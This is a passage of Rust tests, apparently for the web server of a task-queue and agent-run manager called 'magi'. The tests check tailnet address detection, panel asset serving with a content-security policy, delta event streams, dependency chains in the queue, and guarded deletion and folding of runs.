20377 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20378 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20382 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20383 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20384 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20385 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20386 }
20387
20388 #[test]
20389 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20390 let ids = vec![
20391 "20260902-140501-aaaa".to_owned(),
20392 "20260902-140502-aabb".to_owned(),
20393 ];
20394
20395 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20396 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20397 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20398
20399 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20400 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20401 assert_eq!(short, "20260902-140502-aabb");
20402 }
20403 #[tokio::test]
20404 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20405 let fx = Fixture::start().await;
20411 let id = panel(
20412 &fx,
20413 "<img src=\"shot.png\">",
20414 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20415 );
20416
20417 let doc = fx
20419 .get(&format!("/api/questions/{id}/panel/index.html"))
20420 .await;
20421 assert_eq!(doc.status, 200, "{}", doc.body);
20422 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20423
20424 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20425 assert_eq!(sibling.status, 200, "{}", sibling.body);
20426 assert_eq!(sibling.header("content-type"), Some("image/png"));
20427 assert_eq!(
20428 sibling.header("content-security-policy"),
20429 Some(PANEL_CSP),
20430 "the sibling route must carry the same policy as the asset route"
20431 );
20432
20433 assert_eq!(
20436 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20437 200
20438 );
20439 }
20440
20441 #[test]
20442 fn delta_stamps_cover_add_update_remove_and_noop() {
20443 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20444 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20445 let delta = diff_stamps(&before, &after, 42);
20446 assert_eq!(delta.base, 42);
20447 assert_eq!(delta.changed, ["b", "c"]);
20448 assert_eq!(delta.removed, ["a"]);
20449 let same = diff_stamps(&after, &after, 43);
20450 assert!(same.changed.is_empty() && same.removed.is_empty());
20451 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20452 let nanos: Stamps = [("b".into(), (2, 20))].into();
20453 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20454 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20455 assert_eq!(stamps_revision(&Stamps::new()), 0);
20456 }
20457
20458 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20459 std::fs::create_dir_all(home.join("runs")).unwrap();
20460 Arc::new(Ui::new(
20461 Queue::at(home.join("queue")),
20462 Questions::at(home.join("questions")),
20463 Talks::at(home.join("talks")),
20464 home.join("runs"),
20465 home.to_owned(),
20466 PathBuf::from("/repo/magi"),
20467 ))
20468 }
20469
20470 #[test]
20471 fn monitor_scan_isolates_store_failures_and_recovers() {
20472 let home = TempDir::new().unwrap();
20473 let ui = delta_test_ui(home.path());
20474 std::fs::create_dir_all(ui.questions.root()).unwrap();
20475 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20476 let before = monitor_scan(&ui, None);
20477 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20478 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20479 std::fs::create_dir_all(ui.talks.root()).unwrap();
20480 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20481 let during = monitor_scan(&ui, Some(before.clone()));
20482 assert_eq!(during.0.2, before.0.2);
20483 assert_ne!(during.0.3, before.0.3);
20484 assert!(during.1[2].contains_key("new"));
20485 std::fs::remove_file(ui.questions.root()).unwrap();
20486 let after = monitor_scan(&ui, Some(during));
20487 assert_eq!(after.0.2, 0);
20488 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20489 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20491 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20492 }
20493
20494 #[tokio::test]
20495 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20496 let home = TempDir::new().unwrap();
20497 let ui = delta_test_ui(home.path());
20498 let mut task = Task::new(
20499 "stream task".into(),
20500 "text".into(),
20501 PathBuf::from("/repo"),
20502 Source::Human,
20503 );
20504 ui.queue.put(&mut task).unwrap();
20505 let response = events(State(ui.clone())).await.into_response();
20506 let mut stream = response.into_body().into_data_stream();
20507 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20508 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20509 .await
20510 .unwrap()
20511 .unwrap()
20512 .unwrap();
20513 let text = String::from_utf8(chunk.to_vec()).unwrap();
20514 let data = text
20515 .lines()
20516 .find_map(|line| {
20517 line.strip_prefix("data: ")
20518 .or_else(|| line.strip_prefix("data:"))
20519 })
20520 .unwrap();
20521 serde_json::from_str(data).unwrap()
20522 }
20523 let initial = change(&mut stream).await;
20524 assert!(initial.get("queue_delta").is_none());
20525 task.instruction.push_str(" changed");
20526 ui.queue.put(&mut task).unwrap();
20527 let updated = change(&mut stream).await;
20528 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20529 assert_eq!(
20530 updated["queue_delta"]["changed"],
20531 serde_json::json!([task.id])
20532 );
20533 assert_eq!(
20534 updated["queue_rev"].as_u64(),
20535 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20536 );
20537 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20538 let removed = change(&mut stream).await;
20539 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20540 assert_eq!(
20541 removed["queue_delta"]["removed"],
20542 serde_json::json!([task.id])
20543 );
20544 }
20545
20546 #[tokio::test]
20547 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20548 let home = TempDir::new().unwrap();
20549 let ui = delta_test_ui(home.path());
20550 let queue = ui.queue.clone();
20551 let query = |ids: Option<&str>| {
20552 Query(ListQuery {
20553 limit: Some(2),
20554 ids: ids.map(str::to_owned),
20555 })
20556 };
20557 let mut root = Task::new(
20558 "root".into(),
20559 "instruction".into(),
20560 PathBuf::from("/repo"),
20561 Source::Human,
20562 );
20563 queue.put(&mut root).unwrap();
20564 let mut blocked = Task::new(
20565 "blocked".into(),
20566 "instruction".into(),
20567 PathBuf::from("/repo"),
20568 Source::Human,
20569 );
20570 blocked.block(vec![root.id.clone()], None);
20571 queue.put(&mut blocked).unwrap();
20572 let whole =
20573 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20574 .unwrap();
20575 let subset = serde_json::to_value(
20576 queue_list(State(ui.clone()), query(Some(&root.id)))
20577 .await
20578 .unwrap()
20579 .0,
20580 )
20581 .unwrap();
20582 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20583 let blockers = serde_json::to_value(
20584 queue_list(State(ui.clone()), query(Some("")))
20585 .await
20586 .unwrap()
20587 .0,
20588 )
20589 .unwrap();
20590 assert_eq!(blockers.as_array().unwrap().len(), 1);
20591 assert_eq!(blockers[0]["id"], blocked.id);
20592 assert_eq!(
20593 blockers[0]["waits_on"],
20594 whole
20595 .as_array()
20596 .unwrap()
20597 .iter()
20598 .find(|row| row["id"] == blocked.id)
20599 .unwrap()["waits_on"]
20600 );
20601
20602 for id in [
20603 "20260902-140501-aaaa",
20604 "20260902-140502-bbbb",
20605 "20260902-140503-cccc",
20606 ] {
20607 write_run(&ui.runs, id, RunStatus::Merged);
20608 }
20609 let old = serde_json::to_value(
20610 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20611 .await
20612 .unwrap()
20613 .0,
20614 )
20615 .unwrap();
20616 assert!(
20617 old.as_array().unwrap().is_empty(),
20618 "older updates must not enter the window"
20619 );
20620 let newest = serde_json::to_value(
20621 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20622 .await
20623 .unwrap()
20624 .0,
20625 )
20626 .unwrap();
20627 assert_eq!(newest.as_array().unwrap().len(), 1);
20628 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20629
20630 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20631 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20632 let talks = serde_json::to_value(
20633 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20634 .await
20635 .unwrap()
20636 .0,
20637 )
20638 .unwrap();
20639 assert_eq!(talks.as_array().unwrap().len(), 1);
20640 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20641 assert_eq!(
20642 serde_json::to_value(
20643 talks_list(State(ui.clone()), query(Some("")))
20644 .await
20645 .unwrap()
20646 .0
20647 )
20648 .unwrap(),
20649 serde_json::json!([])
20650 );
20651 }
20652
20653 #[tokio::test]
20654 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20655 async fn delta_payload_benchmark() {
20656 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20657 let ui = delta_test_ui(&home);
20658 let query = |ids: Option<String>| {
20659 Query(ListQuery {
20660 limit: Some(50),
20661 ids,
20662 })
20663 };
20664 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20665 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20666 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20667 let queue_id = queue
20668 .iter()
20669 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20670 .unwrap_or(&queue[0])
20671 .task
20672 .id
20673 .clone();
20674 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20675 .await
20676 .unwrap()
20677 .0;
20678 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20679 .await
20680 .unwrap()
20681 .0;
20682 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20683 .await
20684 .unwrap()
20685 .0;
20686 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20687 eprintln!(
20688 "DELTA_PAYLOAD {}",
20689 serde_json::json!({
20690 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20691 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20692 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20693 "counts": [queue.len(), runs.len(), talks.len()],
20694 "blocked": queue_delta.len() - 1,
20695 })
20696 );
20697 }
20698
20699 #[test]
20700 fn runs_revision_moves_when_deleting_an_older_run() {
20701 let temp = TempDir::new().expect("tempdir");
20702 let runs = temp.path().join("runs");
20703 std::fs::create_dir_all(&runs).expect("create runs dir");
20704
20705 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20706
20707 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20708 std::thread::sleep(Duration::from_millis(10));
20709 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20710
20711 let rev_before = runs_revision(&runs);
20712 assert!(rev_before > 0);
20713
20714 let old_dir = runs.join("20260901-100000-old1");
20715 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20716
20717 let rev_after = runs_revision(&runs);
20718 assert_ne!(
20719 rev_before, rev_after,
20720 "deleting an older run must change the revision so other clients see the deletion"
20721 );
20722 }
20723
20724 fn write_state(runs: &FsPath, state: &RunState) {
20729 let dir = runs.join(&state.id);
20730 std::fs::create_dir_all(&dir).expect("run dir");
20731 std::fs::write(
20732 dir.join("run.json"),
20733 serde_json::to_string_pretty(state).expect("serialize run"),
20734 )
20735 .expect("write run.json");
20736 }
20737
20738 #[test]
20743 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20744 let temp = TempDir::new().expect("tempdir");
20745 let runs = temp.path().join("runs");
20746 std::fs::create_dir_all(&runs).expect("create runs dir");
20747 let mut state = RunState::new(
20748 PathBuf::from("/repo/magi"),
20749 "main".to_owned(),
20750 "0123456789abcdef".to_owned(),
20751 "task".to_owned(),
20752 Config::default(),
20753 );
20754 state.id = "20260902-100000-c0de".to_owned();
20755 write_state(&runs, &state);
20756
20757 let rev_idle = runs_revision(&runs);
20758 std::thread::sleep(Duration::from_millis(10));
20759 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20760 write_state(&runs, &state);
20761 let rev_started = runs_revision(&runs);
20762 assert_ne!(
20763 rev_idle, rev_started,
20764 "a seat starting must move the revision"
20765 );
20766
20767 std::thread::sleep(Duration::from_millis(10));
20768 state.seat_finished("judge-1");
20769 write_state(&runs, &state);
20770 let rev_finished = runs_revision(&runs);
20771 assert_ne!(
20772 rev_started, rev_finished,
20773 "and clearing it again must move the revision a second time"
20774 );
20775 }
20776
20777 #[tokio::test]
20778 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20779 let fx = Fixture::start().await;
20784 let q = fx.queue();
20785
20786 let mut t = Task::new(
20787 "Task".to_owned(),
20788 "Instruction".to_owned(),
20789 PathBuf::from("/repo"),
20790 Source::Human,
20791 );
20792 t.block(
20793 vec!["20260101-000000-dead".to_owned()],
20794 Some("waiting on Task 1".to_owned()),
20795 );
20796 t.answers.push(crate::queue::AnsweredQuestion {
20797 question: "Which backend?".to_owned(),
20798 answer: "SQLite".to_owned(),
20799 });
20800 q.put(&mut t).expect("put t");
20801
20802 let res = fx.get("/api/queue").await;
20803 assert_eq!(res.status, 200);
20804 let list = res.json();
20805 let view = list
20806 .as_array()
20807 .expect("array")
20808 .iter()
20809 .find(|v| v["id"] == t.id)
20810 .expect("task in list");
20811 assert_eq!(view["status_str"], "blocked");
20812 assert_eq!(
20813 view["blocked_by"],
20814 serde_json::json!(["20260101-000000-dead"])
20815 );
20816 assert_eq!(view["block_reason"], "waiting on Task 1");
20817 assert_eq!(view["answers"][0]["question"], "Which backend?");
20818 assert_eq!(view["answers"][0]["answer"], "SQLite");
20819
20820 let res = fx
20824 .post(&format!("/api/queue/{}/hold", t.short()), None)
20825 .await;
20826 assert_eq!(res.status, 200);
20827 let held = res.json();
20828 assert_eq!(held["status_str"], "held");
20829 assert_eq!(held["blocked_by"], serde_json::json!([]));
20830 assert!(held["block_reason"].is_null());
20831 assert_eq!(held["answers"][0]["answer"], "SQLite");
20832 }
20833
20834 #[tokio::test]
20835 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20836 let fx = Fixture::start().await;
20837 let q = fx.queue();
20838 let mk = |title: &str| {
20839 Task::new(
20840 title.to_owned(),
20841 "Instruction".to_owned(),
20842 PathBuf::from("/repo"),
20843 Source::Human,
20844 )
20845 };
20846 let mut root = mk("root");
20847 root.hold_manual(Some("waiting".to_owned()));
20848 q.put(&mut root).unwrap();
20849 let mut mid = mk("mid");
20850 mid.block(vec![root.id.clone()], None);
20851 q.put(&mut mid).unwrap();
20852 let mut leaf = mk("leaf");
20853 leaf.block(vec![mid.id.clone()], None);
20854 q.put(&mut leaf).unwrap();
20855
20856 let list = fx.get("/api/queue").await.json();
20857 let find = |id: &str| {
20858 list.as_array()
20859 .unwrap()
20860 .iter()
20861 .find(|v| v["id"] == id)
20862 .unwrap()
20863 .clone()
20864 };
20865 let leaf_view = find(&leaf.id);
20866 assert_eq!(
20867 leaf_view["waits_on"],
20868 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20869 );
20870 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20871 assert_eq!(
20872 find(&mid.id)["waits_on"],
20873 serde_json::json!([format!("{} (held)", root.short())])
20874 );
20875 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20876 }
20877
20878 #[tokio::test]
20879 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20880 let fx = Fixture::start().await;
20881 let q = fx.queue();
20882
20883 let mut t1 = Task::new(
20885 "Task 1".to_owned(),
20886 "Instruction 1".to_owned(),
20887 PathBuf::from("/repo"),
20888 Source::Human,
20889 );
20890 let run_id = "20260901-000000-r111";
20891 t1.runs.push(run_id.to_owned());
20892 write_run(&fx.runs(), run_id, RunStatus::Merged);
20893 q.put(&mut t1).expect("put t1");
20894
20895 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20897 assert_eq!(res.status, 204);
20898 assert!(res.body.is_empty(), "204 No Content has no body");
20899 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20900 assert!(
20901 fx.runs().join(run_id).exists(),
20902 "run directory must not be deleted when its task is deleted"
20903 );
20904
20905 let mut t2 = Task::new(
20907 "Task 2".to_owned(),
20908 "Instruction 2".to_owned(),
20909 PathBuf::from("/repo"),
20910 Source::Human,
20911 );
20912 t2.status = TaskStatus::Running;
20913 q.put(&mut t2).expect("put t2");
20914 let mut beat = crate::daemon::Status::new();
20915 beat.current = vec![crate::daemon::Current {
20916 task: t2.id.clone(),
20917 run: "20260901-000000-r222".to_owned(),
20918 }];
20919 beat.updated_at = jiff::Timestamp::now();
20920 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20921 .expect("publish a heartbeat");
20922 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20923 assert_eq!(res.status, 409);
20924 assert!(
20925 res.json()["error"]
20926 .as_str()
20927 .unwrap()
20928 .contains("live daemon")
20929 );
20930 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20931
20932 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20938 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20939 .expect("leave a stale heartbeat");
20940 let mut t3 = Task::new(
20941 "Task 3".to_owned(),
20942 "Instruction 3".to_owned(),
20943 PathBuf::from("/repo"),
20944 Source::Human,
20945 );
20946 t3.status = TaskStatus::Running;
20947 q.put(&mut t3).expect("put t3");
20948 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20949 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20950 assert_eq!(res.status, 204);
20951 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20952 assert!(
20953 q.claim(&t3.id).is_ok(),
20954 "the stale lock went with it, so the id is claimable again"
20955 );
20956
20957 let res = fx.delete("/api/queue/nonexistent").await;
20959 assert_eq!(res.status, 404);
20960 }
20961
20962 #[tokio::test]
20963 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20964 let fx = Fixture::start().await;
20965 let runs = fx.runs();
20966
20967 let run_id = "20260901-000000-fold";
20969 let mut state = RunState::new(
20970 PathBuf::from("/repo"),
20971 "main".to_owned(),
20972 "abc".to_owned(),
20973 "instruction".to_owned(),
20974 Config::default(),
20975 );
20976 state.id = run_id.to_owned();
20977 state.status = RunStatus::Merged;
20978 state.candidates.push(crate::run::Candidate {
20979 index: 0,
20980 label: 'A',
20981 agent: "a".to_owned(),
20982 branch: "b".to_owned(),
20983 worktree: PathBuf::from("/w"),
20984 summary: String::new(),
20985 stat: String::new(),
20986 files: 1,
20987 commits: 1,
20988 empty: false,
20989 failed: None,
20990 verified_noop: None,
20991 duration_ms: 0,
20992 folded: true,
20993 });
20994 let dir = runs.join(run_id);
20995 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20996 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20997 .expect("write artifact");
20998 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20999 .expect("write run.json");
21000
21001 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21003 assert_eq!(res.status, 204);
21004 assert!(res.body.is_empty(), "204 has no body");
21005 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21006
21007 let run_running = "20260901-000000-rung";
21012 write_run(&runs, run_running, RunStatus::Prep);
21013 let mut beat = crate::daemon::Status::new();
21014 beat.current = vec![crate::daemon::Current {
21015 task: "20260901-000000-task".to_owned(),
21016 run: run_running.to_owned(),
21017 }];
21018 beat.updated_at = jiff::Timestamp::now();
21019 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21020 .expect("publish a heartbeat");
21021 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21022 assert_eq!(res.status, 409);
21023 assert!(
21024 res.json()["error"]
21025 .as_str()
21026 .unwrap()
21027 .contains("live daemon"),
21028 "the refusal must say who is holding it"
21029 );
21030 assert!(
21031 runs.join(run_running).exists(),
21032 "a run in flight keeps its directory"
21033 );
21034
21035 let run_unfolded = "20260901-000000-unfd";
21037 let mut state2 = RunState::new(
21038 PathBuf::from("/repo"),
21039 "main".to_owned(),
21040 "abc".to_owned(),
21041 "instruction".to_owned(),
21042 Config::default(),
21043 );
21044 state2.id = run_unfolded.to_owned();
21045 state2.status = RunStatus::Ready;
21046 state2.candidates.push(crate::run::Candidate {
21047 index: 0,
21048 label: 'A',
21049 agent: "a".to_owned(),
21050 branch: "b".to_owned(),
21051 worktree: PathBuf::from("/w"),
21052 summary: String::new(),
21053 stat: String::new(),
21054 files: 1,
21055 commits: 1,
21056 empty: false,
21057 failed: None,
21058 verified_noop: None,
21059 duration_ms: 0,
21060 folded: false,
21061 });
21062 let dir2 = runs.join(run_unfolded);
21063 std::fs::create_dir_all(&dir2).expect("create dir2");
21064 std::fs::write(
21065 dir2.join("run.json"),
21066 serde_json::to_string(&state2).unwrap(),
21067 )
21068 .expect("write run.json");
21069
21070 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21071 assert_eq!(res.status, 409);
21072 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21073 assert!(dir2.exists(), "unfolded run directory is kept");
21074
21075 let res = fx.delete("/api/runs/nonexistent").await;
21077 assert_eq!(res.status, 404);
21078 }
21079
21080 #[test]
21089 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21090 let start = APP_JS
21091 .find("function renderStats() {")
21092 .expect("renderStats");
21093 let end = start
21094 + APP_JS[start..]
21095 .find("function statsTile(")
21096 .expect("the next top-level function");
21097 let body = &APP_JS[start..end];
21098
21099 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21100 let gate_end = gate_start
21101 + body[gate_start..]
21102 .find("}\n renderStatsQueue")
21103 .expect("the gate's own closing brace, right before the unconditional call");
21104 let gated = &body[gate_start..gate_end];
21105
21106 assert_eq!(
21107 body.matches("renderStatsQueue(").count(),
21108 1,
21109 "renderStats must call renderStatsQueue exactly once: {body}"
21110 );
21111 assert!(
21112 !gated.contains("renderStatsQueue"),
21113 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21114 run-derived panels on an empty run history - the queue panel has to render \
21115 regardless: {gated}"
21116 );
21117 }
21118
21119 #[test]
21120 fn web_ui_delete_contract_in_front_end() {
21121 assert!(APP_JS.contains("deleteRun:"));
21123 assert!(APP_JS.contains("deleteTask:"));
21124
21125 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21127 ..APP_JS.find("function renderRuns").unwrap()];
21128 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21129
21130 assert!(APP_JS.contains("renderRunDelete"));
21132 assert!(APP_JS.contains("runDeleteReason"));
21133 assert!(APP_JS.contains("magi fold"));
21134 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21135
21136 assert!(APP_JS.contains("cancel.focus"));
21138 assert!(APP_JS.contains("armedRunDelete"));
21139 assert!(APP_JS.contains("renderTaskDeleteBox"));
21140 assert!(APP_JS.contains("armed${cap(key)}"));
21141
21142 assert!(APP_JS.contains("disabled: status === \"running\""));
21144 }
21145
21146 #[test]
21166 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21167 let build = APP_JS
21168 .find("function createRunCard")
21169 .expect("createRunCard exists");
21170 let update = APP_JS
21171 .find("function updateRunCard")
21172 .expect("updateRunCard exists");
21173 let end = APP_JS
21174 .find("function renderRuns")
21175 .expect("renderRuns exists");
21176
21177 let builder = &APP_JS[build..update];
21179 let open = builder.find("refs = {").expect("createRunCard sets refs");
21180 let literal = &builder[open + "refs = {".len()..];
21181 let close = literal.find('}').expect("the refs literal is closed");
21182 let published: HashSet<&str> = literal[..close]
21183 .split(',')
21184 .filter_map(|entry| entry.split(':').next())
21186 .map(str::trim)
21187 .filter(|name| !name.is_empty())
21188 .collect();
21189 assert!(
21190 published.len() > 5,
21191 "the refs literal did not parse into names: {published:?}"
21192 );
21193
21194 let mut used: Vec<&str> = Vec::new();
21197 let updaters = &APP_JS[update..end];
21198 for (at, _) in updaters.match_indices("r.") {
21199 let before = updaters[..at].chars().next_back();
21202 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21203 continue;
21204 }
21205 let rest = &updaters[at + 2..];
21206 let len = rest
21207 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21208 .unwrap_or(rest.len());
21209 if len > 0 {
21210 used.push(&rest[..len]);
21211 }
21212 }
21213 assert!(
21214 used.len() > 5,
21215 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21216 );
21217
21218 let missing: Vec<&str> = used
21219 .iter()
21220 .copied()
21221 .filter(|name| !published.contains(name))
21222 .collect();
21223 assert!(
21224 missing.is_empty(),
21225 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21226 never put in `refs` - every card will throw and the list will \
21227 render empty under a count line that says otherwise. Published: \
21228 {published:?}"
21229 );
21230 }
21231
21232 #[tokio::test]
21233 async fn folding_from_the_phone_reports_what_it_removed() {
21234 let fx = Fixture::start().await;
21235 let runs = fx.runs();
21236
21237 let id = "20260901-000000-fold";
21241 write_run(&runs, id, RunStatus::Stalled);
21242 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21243 assert_eq!(res.status, 200);
21244 assert_eq!(res.json()["removed_count"], 0);
21245 assert_eq!(res.json()["run"], id);
21246 assert!(
21247 runs.join(id).exists(),
21248 "a fold keeps the run's record; only the worktrees go"
21249 );
21250 }
21251
21252 #[tokio::test]
21253 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21254 let fx = Fixture::start().await;
21255 let runs = fx.runs();
21256 let wt = fx.home.path().join("wt").join("magi").join("dead");
21257 let id = "20260901-000000-dead";
21258 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21259 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21260 std::fs::create_dir_all(&wt).expect("worktree dir");
21261
21262 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21263 assert_eq!(res.status, 200, "{}", res.body);
21264 assert!(
21265 res.json()["removed_count"].as_u64().unwrap() > 0,
21266 "the worktree this build could not read a state for still went"
21267 );
21268 assert!(
21269 !runs.join(id).exists(),
21270 "an unreadable run has no candidate list to fold selectively, so \
21271 the whole record goes - same as `magi fold` on the CLI"
21272 );
21273 }
21274
21275 #[tokio::test]
21276 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21277 let fx = Fixture::start().await;
21278 let runs = fx.runs();
21279 let wt = fx.home.path().join("wt").join("magi").join("gone");
21280 let id = "20260901-000000-gone";
21281 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21282 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21283 std::fs::create_dir_all(&wt).expect("worktree dir");
21284
21285 let res = fx.delete(&format!("/api/runs/{id}")).await;
21286 assert_eq!(res.status, 204, "{}", res.body);
21287 assert!(!runs.join(id).exists(), "the broken record is gone");
21288 assert!(!wt.exists(), "its worktree is gone too");
21289 }
21290
21291 #[tokio::test]
21292 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21293 let fx = Fixture::start().await;
21294 let runs = fx.runs();
21295 let id = "20260901-000000-live";
21296 write_run(&runs, id, RunStatus::Implementing);
21297
21298 let mut beat = crate::daemon::Status::new();
21299 beat.current = vec![crate::daemon::Current {
21300 task: "20260901-000000-task".to_owned(),
21301 run: id.to_owned(),
21302 }];
21303 beat.updated_at = jiff::Timestamp::now();
21304 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21305 .expect("publish a heartbeat");
21306
21307 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21308 assert_eq!(res.status, 409);
21309 assert!(
21310 res.json()["error"]
21311 .as_str()
21312 .unwrap()
21313 .contains("live daemon"),
21314 "folding under a running agent would pull its worktree away"
21315 );
21316 }
21317
21318 #[tokio::test]
21319 async fn fold_merged_requires_a_pr_url() {
21320 let fx = Fixture::start().await;
21321 let runs = fx.runs();
21322 let id = "20260901-000000-nourl";
21323 write_run(&runs, id, RunStatus::Blocked);
21324
21325 let res = fx
21326 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21327 .await;
21328 assert_eq!(res.status, 400, "{}", res.body);
21329
21330 let blank = fx
21331 .post(
21332 &format!("/api/runs/{id}/fold-merged"),
21333 Some(r#"{"pr_url":" "}"#),
21334 )
21335 .await;
21336 assert_eq!(blank.status, 400, "{}", blank.body);
21337 }
21338
21339 #[tokio::test]
21340 async fn fold_merged_is_404_for_an_unknown_run() {
21341 let fx = Fixture::start().await;
21342 let res = fx
21343 .post(
21344 "/api/runs/nosuchrun/fold-merged",
21345 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21346 )
21347 .await;
21348 assert_eq!(res.status, 404, "{}", res.body);
21349 }
21350
